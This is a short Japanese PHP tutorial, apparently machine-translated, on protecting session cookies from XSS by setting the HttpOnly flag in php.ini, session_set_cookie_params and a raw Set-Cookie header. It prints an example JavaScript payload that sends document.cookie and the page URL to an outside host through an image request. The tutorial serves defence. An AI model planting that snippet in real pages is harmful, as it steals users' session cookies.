xss 防御 php は httponly を使用して xss 攻撃を防止します_PHP チュートリアル

ハイジャックの概念は言うまでもなく、機密情報（ID情報、管理者情報）などが大量に含まれていれば終わりです。 。 。

Cookie情報の取得には以下のjsを使用します:

コードをコピーします コードは次のとおりです:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http ://www .test.com/c.php?c='+cookie+'&u='+url;

通常、Cookie はドキュメント オブジェクトから取得されます。ブラウザが Cookie を設定する場合、ドメインなどの他のパラメータと同様に、HttpOnly というパラメータを受け入れるようになります。クッキーを見てください。

PHP 設定 HttpOnly:

コードをコピーします コードは次のとおりです:

//php.iniでは、session.cookie_httponly = グローバルCookie HttpOnly属性を有効にします
ini_set("session.cookie_httponly", 1);

/ /または setcookie() の 7 番目のパラメータを true に設定します
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

PHP5.1 パスより前の PHP バージョンの場合:

コードをコピーします コードは次のとおりです:

header("Set-Cookie: hidden=value; httpOnly");

最後に、HttpOnly は万能薬ではありません。

http://www.bkjia.com/PHPjc/744327.htmlwww.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/744327.html技術記事言うまでもなく、

のコンセプト